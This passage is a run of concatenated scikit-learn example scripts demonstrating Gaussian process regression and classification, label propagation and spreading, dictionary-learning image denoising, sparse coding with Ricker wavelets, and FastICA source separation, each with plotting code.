from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn.gaussian_process.kernels import RBF, ConstantKernel as C

np.random.seed(1)


def f(x):
    """The function to predict."""
    return x * np.sin(x)

# ----------------------------------------------------------------------
#  First the noiseless case
X = np.atleast_2d([1., 3., 5., 6., 7., 8.]).T

# Observations
y = f(X).ravel()

# Mesh the input space for evaluations of the real function, the prediction and
# its MSE
x = np.atleast_2d(np.linspace(0, 10, 1000)).T

# Instanciate a Gaussian Process model
kernel = C(1.0, (1e-3, 1e3)) * RBF(10, (1e-2, 1e2))
gp = GaussianProcessRegressor(kernel=kernel, n_restarts_optimizer=9)

# Fit to data using Maximum Likelihood Estimation of the parameters
gp.fit(X, y)

# Make the prediction on the meshed x-axis (ask for MSE as well)
y_pred, sigma = gp.predict(x, return_std=True)

# Plot the function, the prediction and the 95% confidence interval based on
# the MSE
fig = plt.figure()
plt.plot(x, f(x), 'r:', label=u'$f(x) = x\,\sin(x)$')
plt.plot(X, y, 'r.', markersize=10, label=u'Observations')
plt.plot(x, y_pred, 'b-', label=u'Prediction')
plt.fill(np.concatenate([x, x[::-1]]),
         np.concatenate([y_pred - 1.9600 * sigma,
                        (y_pred + 1.9600 * sigma)[::-1]]),
         alpha=.5, fc='b', ec='None', label='95% confidence interval')
plt.xlabel('$x$')
plt.ylabel('$f(x)$')
plt.ylim(-10, 20)
plt.legend(loc='upper left')

# ----------------------------------------------------------------------
# now the noisy case
X = np.linspace(0.1, 9.9, 20)
X = np.atleast_2d(X).T

# Observations and noise
y = f(X).ravel()
dy = 0.5 + 1.0 * np.random.random(y.shape)
noise = np.random.normal(0, dy)
y += noise

# Instanciate a Gaussian Process model
gp = GaussianProcessRegressor(kernel=kernel, alpha=(dy / y) ** 2,
                              n_restarts_optimizer=10)

# Fit to data using Maximum Likelihood Estimation of the parameters
gp.fit(X, y)

# Make the prediction on the meshed x-axis (ask for MSE as well)
y_pred, sigma = gp.predict(x, return_std=True)

# Plot the function, the prediction and the 95% confidence interval based on
# the MSE
fig = plt.figure()
plt.plot(x, f(x), 'r:', label=u'$f(x) = x\,\sin(x)$')
plt.errorbar(X.ravel(), y, dy, fmt='r.', markersize=10, label=u'Observations')
plt.plot(x, y_pred, 'b-', label=u'Prediction')
plt.fill(np.concatenate([x, x[::-1]]),
         np.concatenate([y_pred - 1.9600 * sigma,
                        (y_pred + 1.9600 * sigma)[::-1]]),
         alpha=.5, fc='b', ec='None', label='95% confidence interval')
plt.xlabel('$x$')
plt.ylabel('$f(x)$')
plt.ylim(-10, 20)
plt.legend(loc='upper left')

plt.show()






"""
====================================================================
Probabilistic predictions with Gaussian process classification (GPC)
====================================================================

This example illustrates the predicted probability of GPC for an RBF kernel
with different choices of the hyperparameters. The first figure shows the
predicted probability of GPC with arbitrarily chosen hyperparameters and with
the hyperparameters corresponding to the maximum log-marginal-likelihood (LML).

While the hyperparameters chosen by optimizing LML have a considerable larger
LML, they perform slightly worse according to the log-loss on test data. The
figure shows that this is because they exhibit a steep change of the class
probabilities at the class boundaries (which is good) but have predicted
probabilities close to 0.5 far away from the class boundaries (which is bad)
This undesirable effect is caused by the Laplace approximation used
internally by GPC.

The second figure shows the log-marginal-likelihood for different choices of
the kernel's hyperparameters, highlighting the two choices of the
hyperparameters used in the first figure by black dots.
"""
print(__doc__)

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import numpy as np

from matplotlib import pyplot as plt

from sklearn.metrics.classification import accuracy_score, log_loss
from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import RBF


# Generate data
train_size = 50
rng = np.random.RandomState(0)
X = rng.uniform(0, 5, 100)[:, np.newaxis]
y = np.array(X[:, 0] > 2.5, dtype=int)

# Specify Gaussian Processes with fixed and optimized hyperparameters
gp_fix = GaussianProcessClassifier(kernel=1.0 * RBF(length_scale=1.0),
                                   optimizer=None)
gp_fix.fit(X[:train_size], y[:train_size])

gp_opt = GaussianProcessClassifier(kernel=1.0 * RBF(length_scale=1.0))
gp_opt.fit(X[:train_size], y[:train_size])

print("Log Marginal Likelihood (initial): %.3f"
      % gp_fix.log_marginal_likelihood(gp_fix.kernel_.theta))
print("Log Marginal Likelihood (optimized): %.3f"
      % gp_opt.log_marginal_likelihood(gp_opt.kernel_.theta))

print("Accuracy: %.3f (initial) %.3f (optimized)"
      % (accuracy_score(y[:train_size], gp_fix.predict(X[:train_size])),
         accuracy_score(y[:train_size], gp_opt.predict(X[:train_size]))))
print("Log-loss: %.3f (initial) %.3f (optimized)"
      % (log_loss(y[:train_size], gp_fix.predict_proba(X[:train_size])[:, 1]),
         log_loss(y[:train_size], gp_opt.predict_proba(X[:train_size])[:, 1])))


# Plot posteriors
plt.figure(0)
plt.scatter(X[:train_size, 0], y[:train_size], c='k', label="Train data")
plt.scatter(X[train_size:, 0], y[train_size:], c='g', label="Test data")
X_ = np.linspace(0, 5, 100)
plt.plot(X_, gp_fix.predict_proba(X_[:, np.newaxis])[:, 1], 'r',
         label="Initial kernel: %s" % gp_fix.kernel_)
plt.plot(X_, gp_opt.predict_proba(X_[:, np.newaxis])[:, 1], 'b',
         label="Optimized kernel: %s" % gp_opt.kernel_)
plt.xlabel("Feature")
plt.ylabel("Class 1 probability")
plt.xlim(0, 5)
plt.ylim(-0.25, 1.5)
plt.legend(loc="best")

# Plot LML landscape
plt.figure(1)
theta0 = np.logspace(0, 8, 30)
theta1 = np.logspace(-1, 1, 29)
Theta0, Theta1 = np.meshgrid(theta0, theta1)
LML = [[gp_opt.log_marginal_likelihood(np.log([Theta0[i, j], Theta1[i, j]]))
        for i in range(Theta0.shape[0])] for j in range(Theta0.shape[1])]
LML = np.array(LML).T
plt.plot(np.exp(gp_fix.kernel_.theta)[0], np.exp(gp_fix.kernel_.theta)[1],
         'ko', zorder=10)
plt.plot(np.exp(gp_opt.kernel_.theta)[0], np.exp(gp_opt.kernel_.theta)[1],
         'ko', zorder=10)
plt.pcolor(Theta0, Theta1, LML)
plt.xscale("log")
plt.yscale("log")
plt.colorbar()
plt.xlabel("Magnitude")
plt.ylabel("Length-scale")
plt.title("Log-marginal-likelihood")

plt.show()






"""
=============================================================
Gaussian process regression (GPR) with noise-level estimation
=============================================================

This example illustrates that GPR with a sum-kernel including a WhiteKernel can
estimate the noise level of data. An illustration of the
log-marginal-likelihood (LML) landscape shows that there exist two local
maxima of LML. The first corresponds to a model with a high noise level and a
large length scale, which explains all variations in the data by noise. The
second one has a smaller noise level and shorter length scale, which explains
most of the variation by the noise-free functional relationship. The second
model has a higher likelihood; however, depending on the initial value for the
hyperparameters, the gradient-based optimization might also converge to the
high-noise solution. It is thus important to repeat the optimization several
times for different initializations.
"""
print(__doc__)

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import numpy as np

from matplotlib import pyplot as plt
from matplotlib.colors import LogNorm

from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn.gaussian_process.kernels import RBF, WhiteKernel


rng = np.random.RandomState(0)
X = rng.uniform(0, 5, 20)[:, np.newaxis]
y = 0.5 * np.sin(3 * X[:, 0]) + rng.normal(0, 0.5, X.shape[0])

# First run
plt.figure(0)
kernel = 1.0 * RBF(length_scale=100.0, length_scale_bounds=(1e-2, 1e3)) \
    + WhiteKernel(noise_level=1, noise_level_bounds=(1e-10, 1e+1))
gp = GaussianProcessRegressor(kernel=kernel,
                              alpha=0.0).fit(X, y)
X_ = np.linspace(0, 5, 100)
y_mean, y_cov = gp.predict(X_[:, np.newaxis], return_cov=True)
plt.plot(X_, y_mean, 'k', lw=3, zorder=9)
plt.fill_between(X_, y_mean - np.sqrt(np.diag(y_cov)),
                 y_mean + np.sqrt(np.diag(y_cov)),
                 alpha=0.5, color='k')
plt.plot(X_, 0.5*np.sin(3*X_), 'r', lw=3, zorder=9)
plt.scatter(X[:, 0], y, c='r', s=50, zorder=10)
plt.title("Initial: %s\nOptimum: %s\nLog-Marginal-Likelihood: %s"
          % (kernel, gp.kernel_,
             gp.log_marginal_likelihood(gp.kernel_.theta)))
plt.tight_layout()

# Second run
plt.figure(1)
kernel = 1.0 * RBF(length_scale=1.0, length_scale_bounds=(1e-2, 1e3)) \
    + WhiteKernel(noise_level=1e-5, noise_level_bounds=(1e-10, 1e+1))
gp = GaussianProcessRegressor(kernel=kernel,
                              alpha=0.0).fit(X, y)
X_ = np.linspace(0, 5, 100)
y_mean, y_cov = gp.predict(X_[:, np.newaxis], return_cov=True)
plt.plot(X_, y_mean, 'k', lw=3, zorder=9)
plt.fill_between(X_, y_mean - np.sqrt(np.diag(y_cov)),
                 y_mean + np.sqrt(np.diag(y_cov)),
                 alpha=0.5, color='k')
plt.plot(X_, 0.5*np.sin(3*X_), 'r', lw=3, zorder=9)
plt.scatter(X[:, 0], y, c='r', s=50, zorder=10)
plt.title("Initial: %s\nOptimum: %s\nLog-Marginal-Likelihood: %s"
          % (kernel, gp.kernel_,
             gp.log_marginal_likelihood(gp.kernel_.theta)))
plt.tight_layout()

# Plot LML landscape
plt.figure(2)
theta0 = np.logspace(-2, 3, 49)
theta1 = np.logspace(-2, 0, 50)
Theta0, Theta1 = np.meshgrid(theta0, theta1)
LML = [[gp.log_marginal_likelihood(np.log([0.36, Theta0[i, j], Theta1[i, j]]))
        for i in range(Theta0.shape[0])] for j in range(Theta0.shape[1])]
LML = np.array(LML).T

vmin, vmax = (-LML).min(), (-LML).max()
vmax = 50
plt.contour(Theta0, Theta1, -LML,
            levels=np.logspace(np.log10(vmin), np.log10(vmax), 50),
            norm=LogNorm(vmin=vmin, vmax=vmax))
plt.colorbar()
plt.xscale("log")
plt.yscale("log")
plt.xlabel("Length-scale")
plt.ylabel("Noise-level")
plt.title("Log-marginal-likelihood")
plt.tight_layout()

plt.show()






"""
==============================================
Label Propagation learning a complex structure
==============================================

Example of LabelPropagation learning a complex internal structure
to demonstrate "manifold learning". The outer circle should be
labeled "red" and the inner circle "blue". Because both label groups
lie inside their own distinct shape, we can see that the labels
propagate correctly around the circle.
"""
print(__doc__)

# Authors: Clay Woolam <clay@woolam.org>
#          Andreas Mueller <amueller@ais.uni-bonn.de>
# License: BSD

import numpy as np
import matplotlib.pyplot as plt
from sklearn.semi_supervised import label_propagation
from sklearn.datasets import make_circles

# generate ring with inner box
n_samples = 200
X, y = make_circles(n_samples=n_samples, shuffle=False)
outer, inner = 0, 1
labels = -np.ones(n_samples)
labels[0] = outer
labels[-1] = inner

###############################################################################
# Learn with LabelSpreading
label_spread = label_propagation.LabelSpreading(kernel='knn', alpha=1.0)
label_spread.fit(X, labels)

###############################################################################
# Plot output labels
output_labels = label_spread.transduction_
plt.figure(figsize=(8.5, 4))
plt.subplot(1, 2, 1)
plt.scatter(X[labels == outer, 0], X[labels == outer, 1], color='navy',
            marker='s', lw=0, label="outer labeled", s=10)
plt.scatter(X[labels == inner, 0], X[labels == inner, 1], color='c',
            marker='s', lw=0, label='inner labeled', s=10)
plt.scatter(X[labels == -1, 0], X[labels == -1, 1], color='darkorange',
            marker='.', label='unlabeled')
plt.legend(scatterpoints=1, shadow=False, loc='upper right')
plt.title("Raw data (2 classes=outer and inner)")

plt.subplot(1, 2, 2)
output_label_array = np.asarray(output_labels)
outer_numbers = np.where(output_label_array == outer)[0]
inner_numbers = np.where(output_label_array == inner)[0]
plt.scatter(X[outer_numbers, 0], X[outer_numbers, 1], color='navy',
            marker='s', lw=0, s=10, label="outer learned")
plt.scatter(X[inner_numbers, 0], X[inner_numbers, 1], color='c',
            marker='s', lw=0, s=10, label="inner learned")
plt.legend(scatterpoints=1, shadow=False, loc='upper right')
plt.title("Labels learned with Label Spreading (KNN)")

plt.subplots_adjust(left=0.07, bottom=0.07, right=0.93, top=0.92)
plt.show()






"""
=====================================================================
Decision boundary of label propagation versus SVM on the Iris dataset
=====================================================================

Comparison for decision boundary generated on iris dataset
between Label Propagation and SVM.

This demonstrates Label Propagation learning a good boundary
even with a small amount of labeled data.

"""
print(__doc__)

# Authors: Clay Woolam <clay@woolam.org>
# License: BSD

import numpy as np
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn import svm
from sklearn.semi_supervised import label_propagation

rng = np.random.RandomState(0)

iris = datasets.load_iris()

X = iris.data[:, :2]
y = iris.target

# step size in the mesh
h = .02

y_30 = np.copy(y)
y_30[rng.rand(len(y)) < 0.3] = -1
y_50 = np.copy(y)
y_50[rng.rand(len(y)) < 0.5] = -1
# we create an instance of SVM and fit out data. We do not scale our
# data since we want to plot the support vectors
ls30 = (label_propagation.LabelSpreading().fit(X, y_30),
        y_30)
ls50 = (label_propagation.LabelSpreading().fit(X, y_50),
        y_50)
ls100 = (label_propagation.LabelSpreading().fit(X, y), y)
rbf_svc = (svm.SVC(kernel='rbf').fit(X, y), y)

# create a mesh to plot in
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                     np.arange(y_min, y_max, h))

# title for the plots
titles = ['Label Spreading 30% data',
          'Label Spreading 50% data',
          'Label Spreading 100% data',
          'SVC with rbf kernel']

color_map = {-1: (1, 1, 1), 0: (0, 0, .9), 1: (1, 0, 0), 2: (.8, .6, 0)}

for i, (clf, y_train) in enumerate((ls30, ls50, ls100, rbf_svc)):
    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    plt.subplot(2, 2, i + 1)
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    plt.contourf(xx, yy, Z, cmap=plt.cm.Paired)
    plt.axis('off')

    # Plot also the training points
    colors = [color_map[y] for y in y_train]
    plt.scatter(X[:, 0], X[:, 1], c=colors, cmap=plt.cm.Paired)

    plt.title(titles[i])

plt.text(.90, 0, "Unlabeled points are colored white")
plt.show()






"""
===================================================
Label Propagation digits: Demonstrating performance
===================================================

This example demonstrates the power of semisupervised learning by
training a Label Spreading model to classify handwritten digits
with sets of very few labels.

The handwritten digit dataset has 1797 total points. The model will
be trained using all points, but only 30 will be labeled. Results
in the form of a confusion matrix and a series of metrics over each
class will be very good.

At the end, the top 10 most uncertain predictions will be shown.
"""
print(__doc__)

# Authors: Clay Woolam <clay@woolam.org>
# License: BSD

import numpy as np
import matplotlib.pyplot as plt

from scipy import stats

from sklearn import datasets
from sklearn.semi_supervised import label_propagation

from sklearn.metrics import confusion_matrix, classification_report

digits = datasets.load_digits()
rng = np.random.RandomState(0)
indices = np.arange(len(digits.data))
rng.shuffle(indices)

X = digits.data[indices[:330]]
y = digits.target[indices[:330]]
images = digits.images[indices[:330]]

n_total_samples = len(y)
n_labeled_points = 30

indices = np.arange(n_total_samples)

unlabeled_set = indices[n_labeled_points:]

# shuffle everything around
y_train = np.copy(y)
y_train[unlabeled_set] = -1

###############################################################################
# Learn with LabelSpreading
lp_model = label_propagation.LabelSpreading(gamma=0.25, max_iter=5)
lp_model.fit(X, y_train)
predicted_labels = lp_model.transduction_[unlabeled_set]
true_labels = y[unlabeled_set]

cm = confusion_matrix(true_labels, predicted_labels, labels=lp_model.classes_)

print("Label Spreading model: %d labeled & %d unlabeled points (%d total)" %
      (n_labeled_points, n_total_samples - n_labeled_points, n_total_samples))

print(classification_report(true_labels, predicted_labels))

print("Confusion matrix")
print(cm)

# calculate uncertainty values for each transduced distribution
pred_entropies = stats.distributions.entropy(lp_model.label_distributions_.T)

# pick the top 10 most uncertain labels
uncertainty_index = np.argsort(pred_entropies)[-10:]

###############################################################################
# plot
f = plt.figure(figsize=(7, 5))
for index, image_index in enumerate(uncertainty_index):
    image = images[image_index]

    sub = f.add_subplot(2, 5, index + 1)
    sub.imshow(image, cmap=plt.cm.gray_r)
    plt.xticks([])
    plt.yticks([])
    sub.set_title('predict: %i\ntrue: %i' % (
        lp_model.transduction_[image_index], y[image_index]))

f.suptitle('Learning with small amount of labeled data')
plt.show()






"""
========================================
Label Propagation digits active learning
========================================

Demonstrates an active learning technique to learn handwritten digits
using label propagation.

We start by training a label propagation model with only 10 labeled points,
then we select the top five most uncertain points to label. Next, we train
with 15 labeled points (original 10 + 5 new ones). We repeat this process
four times to have a model trained with 30 labeled examples.

A plot will appear showing the top 5 most uncertain digits for each iteration
of training. These may or may not contain mistakes, but we will train the next
model with their true labels.
"""
print(__doc__)

# Authors: Clay Woolam <clay@woolam.org>
# License: BSD

import numpy as np
import matplotlib.pyplot as plt
from scipy import stats

from sklearn import datasets
from sklearn.semi_supervised import label_propagation
from sklearn.metrics import classification_report, confusion_matrix

digits = datasets.load_digits()
rng = np.random.RandomState(0)
indices = np.arange(len(digits.data))
rng.shuffle(indices)

X = digits.data[indices[:330]]
y = digits.target[indices[:330]]
images = digits.images[indices[:330]]

n_total_samples = len(y)
n_labeled_points = 10

unlabeled_indices = np.arange(n_total_samples)[n_labeled_points:]
f = plt.figure()

for i in range(5):
    y_train = np.copy(y)
    y_train[unlabeled_indices] = -1

    lp_model = label_propagation.LabelSpreading(gamma=0.25, max_iter=5)
    lp_model.fit(X, y_train)

    predicted_labels = lp_model.transduction_[unlabeled_indices]
    true_labels = y[unlabeled_indices]

    cm = confusion_matrix(true_labels, predicted_labels,
                          labels=lp_model.classes_)

    print('Iteration %i %s' % (i, 70 * '_'))
    print("Label Spreading model: %d labeled & %d unlabeled (%d total)"
          % (n_labeled_points, n_total_samples - n_labeled_points, n_total_samples))

    print(classification_report(true_labels, predicted_labels))

    print("Confusion matrix")
    print(cm)

    # compute the entropies of transduced label distributions
    pred_entropies = stats.distributions.entropy(
        lp_model.label_distributions_.T)

    # select five digit examples that the classifier is most uncertain about
    uncertainty_index = uncertainty_index = np.argsort(pred_entropies)[-5:]

    # keep track of indices that we get labels for
    delete_indices = np.array([])

    f.text(.05, (1 - (i + 1) * .183),
           "model %d\n\nfit with\n%d labels" % ((i + 1), i * 5 + 10), size=10)
    for index, image_index in enumerate(uncertainty_index):
        image = images[image_index]

        sub = f.add_subplot(5, 5, index + 1 + (5 * i))
        sub.imshow(image, cmap=plt.cm.gray_r)
        sub.set_title('predict: %i\ntrue: %i' % (
            lp_model.transduction_[image_index], y[image_index]), size=10)
        sub.axis('off')

        # labeling 5 points, remote from labeled set
        delete_index, = np.where(unlabeled_indices == image_index)
        delete_indices = np.concatenate((delete_indices, delete_index))

    unlabeled_indices = np.delete(unlabeled_indices, delete_indices)
    n_labeled_points += 5

f.suptitle("Active learning with Label Propagation.\nRows show 5 most "
           "uncertain labels to learn with the next model.")
plt.subplots_adjust(0.12, 0.03, 0.9, 0.8, 0.2, 0.45)
plt.show()






"""
=========================================
Image denoising using dictionary learning
=========================================

An example comparing the effect of reconstructing noisy fragments
of a raccoon face image using firstly online :ref:`DictionaryLearning` and
various transform methods.

The dictionary is fitted on the distorted left half of the image, and
subsequently used to reconstruct the right half. Note that even better
performance could be achieved by fitting to an undistorted (i.e.
noiseless) image, but here we start from the assumption that it is not
available.

A common practice for evaluating the results of image denoising is by looking
at the difference between the reconstruction and the original image. If the
reconstruction is perfect this will look like Gaussian noise.

It can be seen from the plots that the results of :ref:`omp` with two
non-zero coefficients is a bit less biased than when keeping only one
(the edges look less prominent). It is in addition closer from the ground
truth in Frobenius norm.

The result of :ref:`least_angle_regression` is much more strongly biased: the
difference is reminiscent of the local intensity value of the original image.

Thresholding is clearly not useful for denoising, but it is here to show that
it can produce a suggestive output with very high speed, and thus be useful
for other tasks such as object classification, where performance is not
necessarily related to visualisation.

"""
print(__doc__)

from time import time

import matplotlib.pyplot as plt
import numpy as np
import scipy as sp

from sklearn.decomposition import MiniBatchDictionaryLearning
from sklearn.feature_extraction.image import extract_patches_2d
from sklearn.feature_extraction.image import reconstruct_from_patches_2d
from sklearn.utils.testing import SkipTest
from sklearn.utils.fixes import sp_version

if sp_version < (0, 12):
    raise SkipTest("Skipping because SciPy version earlier than 0.12.0 and "
                   "thus does not include the scipy.misc.face() image.")

###############################################################################
try:
    from scipy import misc
    face = misc.face(gray=True)
except AttributeError:
    # Old versions of scipy have face in the top level package
    face = sp.face(gray=True)

# Convert from uint8 representation with values between 0 and 255 to
# a floating point representation with values between 0 and 1.
face = face / 255

# downsample for higher speed
face = face[::2, ::2] + face[1::2, ::2] + face[::2, 1::2] + face[1::2, 1::2]
face /= 4.0
height, width = face.shape

# Distort the right half of the image
print('Distorting image...')
distorted = face.copy()
distorted[:, width // 2:] += 0.075 * np.random.randn(height, width // 2)

# Extract all reference patches from the left half of the image
print('Extracting reference patches...')
t0 = time()
patch_size = (7, 7)
data = extract_patches_2d(distorted[:, :width // 2], patch_size)
data = data.reshape(data.shape[0], -1)
data -= np.mean(data, axis=0)
data /= np.std(data, axis=0)
print('done in %.2fs.' % (time() - t0))

###############################################################################
# Learn the dictionary from reference patches

print('Learning the dictionary...')
t0 = time()
dico = MiniBatchDictionaryLearning(n_components=100, alpha=1, n_iter=500)
V = dico.fit(data).components_
dt = time() - t0
print('done in %.2fs.' % dt)

plt.figure(figsize=(4.2, 4))
for i, comp in enumerate(V[:100]):
    plt.subplot(10, 10, i + 1)
    plt.imshow(comp.reshape(patch_size), cmap=plt.cm.gray_r,
               interpolation='nearest')
    plt.xticks(())
    plt.yticks(())
plt.suptitle('Dictionary learned from face patches\n' +
             'Train time %.1fs on %d patches' % (dt, len(data)),
             fontsize=16)
plt.subplots_adjust(0.08, 0.02, 0.92, 0.85, 0.08, 0.23)


###############################################################################
# Display the distorted image

def show_with_diff(image, reference, title):
    """Helper function to display denoising"""
    plt.figure(figsize=(5, 3.3))
    plt.subplot(1, 2, 1)
    plt.title('Image')
    plt.imshow(image, vmin=0, vmax=1, cmap=plt.cm.gray,
               interpolation='nearest')
    plt.xticks(())
    plt.yticks(())
    plt.subplot(1, 2, 2)
    difference = image - reference

    plt.title('Difference (norm: %.2f)' % np.sqrt(np.sum(difference ** 2)))
    plt.imshow(difference, vmin=-0.5, vmax=0.5, cmap=plt.cm.PuOr,
               interpolation='nearest')
    plt.xticks(())
    plt.yticks(())
    plt.suptitle(title, size=16)
    plt.subplots_adjust(0.02, 0.02, 0.98, 0.79, 0.02, 0.2)

show_with_diff(distorted, face, 'Distorted image')

###############################################################################
# Extract noisy patches and reconstruct them using the dictionary

print('Extracting noisy patches... ')
t0 = time()
data = extract_patches_2d(distorted[:, width // 2:], patch_size)
data = data.reshape(data.shape[0], -1)
intercept = np.mean(data, axis=0)
data -= intercept
print('done in %.2fs.' % (time() - t0))

transform_algorithms = [
    ('Orthogonal Matching Pursuit\n1 atom', 'omp',
     {'transform_n_nonzero_coefs': 1}),
    ('Orthogonal Matching Pursuit\n2 atoms', 'omp',
     {'transform_n_nonzero_coefs': 2}),
    ('Least-angle regression\n5 atoms', 'lars',
     {'transform_n_nonzero_coefs': 5}),
    ('Thresholding\n alpha=0.1', 'threshold', {'transform_alpha': .1})]

reconstructions = {}
for title, transform_algorithm, kwargs in transform_algorithms:
    print(title + '...')
    reconstructions[title] = face.copy()
    t0 = time()
    dico.set_params(transform_algorithm=transform_algorithm, **kwargs)
    code = dico.transform(data)
    patches = np.dot(code, V)

    patches += intercept
    patches = patches.reshape(len(data), *patch_size)
    if transform_algorithm == 'threshold':
        patches -= patches.min()
        patches /= patches.max()
    reconstructions[title][:, width // 2:] = reconstruct_from_patches_2d(
        patches, (height, width // 2))
    dt = time() - t0
    print('done in %.2fs.' % dt)
    show_with_diff(reconstructions[title], face,
                   title + ' (time: %.1fs)' % dt)

plt.show()






"""
===========================================
Sparse coding with a precomputed dictionary
===========================================

Transform a signal as a sparse combination of Ricker wavelets. This example
visually compares different sparse coding methods using the
:class:`sklearn.decomposition.SparseCoder` estimator. The Ricker (also known
as Mexican hat or the second derivative of a Gaussian) is not a particularly
good kernel to represent piecewise constant signals like this one. It can
therefore be seen how much adding different widths of atoms matters and it
therefore motivates learning the dictionary to best fit your type of signals.

The richer dictionary on the right is not larger in size, heavier subsampling
is performed in order to stay on the same order of magnitude.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.decomposition import SparseCoder


def ricker_function(resolution, center, width):
    """Discrete sub-sampled Ricker (Mexican hat) wavelet"""
    x = np.linspace(0, resolution - 1, resolution)
    x = ((2 / ((np.sqrt(3 * width) * np.pi ** 1 / 4)))
         * (1 - ((x - center) ** 2 / width ** 2))
         * np.exp((-(x - center) ** 2) / (2 * width ** 2)))
    return x


def ricker_matrix(width, resolution, n_components):
    """Dictionary of Ricker (Mexican hat) wavelets"""
    centers = np.linspace(0, resolution - 1, n_components)
    D = np.empty((n_components, resolution))
    for i, center in enumerate(centers):
        D[i] = ricker_function(resolution, center, width)
    D /= np.sqrt(np.sum(D ** 2, axis=1))[:, np.newaxis]
    return D


resolution = 1024
subsampling = 3  # subsampling factor
width = 100
n_components = resolution / subsampling

# Compute a wavelet dictionary
D_fixed = ricker_matrix(width=width, resolution=resolution,
                        n_components=n_components)
D_multi = np.r_[tuple(ricker_matrix(width=w, resolution=resolution,
                                    n_components=np.floor(n_components / 5))
                for w in (10, 50, 100, 500, 1000))]

# Generate a signal
y = np.linspace(0, resolution - 1, resolution)
first_quarter = y < resolution / 4
y[first_quarter] = 3.
y[np.logical_not(first_quarter)] = -1.

# List the different sparse coding methods in the following format:
# (title, transform_algorithm, transform_alpha, transform_n_nozero_coefs)
estimators = [('OMP', 'omp', None, 15, 'navy'),
              ('Lasso', 'lasso_cd', 2, None, 'turquoise'), ]
lw = 2

plt.figure(figsize=(13, 6))
for subplot, (D, title) in enumerate(zip((D_fixed, D_multi),
                                         ('fixed width', 'multiple widths'))):
    plt.subplot(1, 2, subplot + 1)
    plt.title('Sparse coding against %s dictionary' % title)
    plt.plot(y, lw=lw, linestyle='--', label='Original signal')
    # Do a wavelet approximation
    for title, algo, alpha, n_nonzero, color in estimators:
        coder = SparseCoder(dictionary=D, transform_n_nonzero_coefs=n_nonzero,
                            transform_alpha=alpha, transform_algorithm=algo)
        x = coder.transform(y.reshape(1, -1))
        density = len(np.flatnonzero(x))
        x = np.ravel(np.dot(x, D))
        squared_error = np.sum((y - x) ** 2)
        plt.plot(x, color=color, lw=lw,
                 label='%s: %s nonzero coefs,\n%.2f error'
                 % (title, density, squared_error))

    # Soft thresholding debiasing
    coder = SparseCoder(dictionary=D, transform_algorithm='threshold',
                        transform_alpha=20)
    x = coder.transform(y.reshape(1, -1))
    _, idx = np.where(x != 0)
    x[0, idx], _, _, _ = np.linalg.lstsq(D[idx, :].T, y)
    x = np.ravel(np.dot(x, D))
    squared_error = np.sum((y - x) ** 2)
    plt.plot(x, color='darkorange', lw=lw,
             label='Thresholding w/ debiasing:\n%d nonzero coefs, %.2f error'
             % (len(idx), squared_error))
    plt.axis('tight')
    plt.legend(shadow=False, loc='best')
plt.subplots_adjust(.04, .07, .97, .90, .09, .2)
plt.show()






"""
=====================================
Blind source separation using FastICA
=====================================

An example of estimating sources from noisy data.

:ref:`ICA` is used to estimate sources given noisy measurements.
Imagine 3 instruments playing simultaneously and 3 microphones
recording the mixed signals. ICA is used to recover the sources
ie. what is played by each instrument. Importantly, PCA fails
at recovering our `instruments` since the related signals reflect
non-Gaussian processes.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from scipy import signal

from sklearn.decomposition import FastICA, PCA

###############################################################################
# Generate sample data
np.random.seed(0)
n_samples = 2000
time = np.linspace(0, 8, n_samples)

s1 = np.sin(2 * time)  # Signal 1 : sinusoidal signal
s2 = np.sign(np.sin(3 * time))  # Signal 2 : square signal
s3 = signal.sawtooth(2 * np.pi * time)  # Signal 3: saw tooth signal

S = np.c_[s1, s2, s3]
S += 0.2 * np.random.normal(size=S.shape)  # Add noise

S /= S.std(axis=0)  # Standardize data
# Mix data
A = np.array([[1, 1, 1], [0.5, 2, 1.0], [1.5, 1.0, 2.0]])  # Mixing matrix
X = np.dot(S, A.T)  # Generate observations

# Compute ICA
ica = FastICA(n_components=3)
S_ = ica.fit_transform(X)  # Reconstruct signals
A_ = ica.mixing_  # Get estimated mixing matrix

# We can `prove` that the ICA model applies by reverting the unmixing.
assert np.allclose(X, np.dot(S_, A_.T) + ica.mean_)

# For comparison, compute PCA
pca = PCA(n_components=3)
H = pca.fit_transform(X)  # Reconstruct signals based on orthogonal components

###############################################################################
# Plot results

plt.figure()

models = [X, S, S_, H]
names = ['Observations (mixed signal)',
         'True Sources',
         'ICA recovered signals', 
         'PCA recovered signals']
colors = ['red', 'steelblue', 'orange']

for ii, (model, name) in enumerate(zip(models, names), 1):
    plt.subplot(4, 1, ii)
    plt.title(name)
    for sig, color in zip(model.T, colors):
        plt.plot(sig, color=color)

plt.subplots_adjust(0.09, 0.04, 0.94, 0.94, 0.26, 0.46)
plt.show()






"""
==========================
FastICA on 2D point clouds
==========================

This example illustrates visually in the feature space a comparison by
results using two different component analysis techniques.

:ref:`ICA` vs :ref:`PCA`.

Representing ICA in the feature space gives the view of 'geometric ICA':
ICA is an algorithm that finds directions in the feature space
corresponding to projections with high non-Gaussianity. These directions
need not be orthogonal in the original feature space, but they are
orthogonal in the whitened feature space, in which all directions
correspond to the same variance.

PCA, on the other hand, finds orthogonal directions in the raw feature
space that correspond to directions accounting for maximum variance.

Here we simulate independent sources using a highly non-Gaussian
process, 2 student T with a low number of degrees of freedom (top left
figure). We mix them to create observations (top right figure).
In this raw observation space, directions identified by PCA are
represented by orange vectors. We represent the signal in the PCA space,
after whitening by the variance corresponding to the PCA vectors (lower
left). Running ICA corresponds to finding a rotation in this space to
identify the directions of largest non-Gaussianity (lower right).
"""
print(__doc__)

# Authors: Alexandre Gramfort, Gael Varoquaux
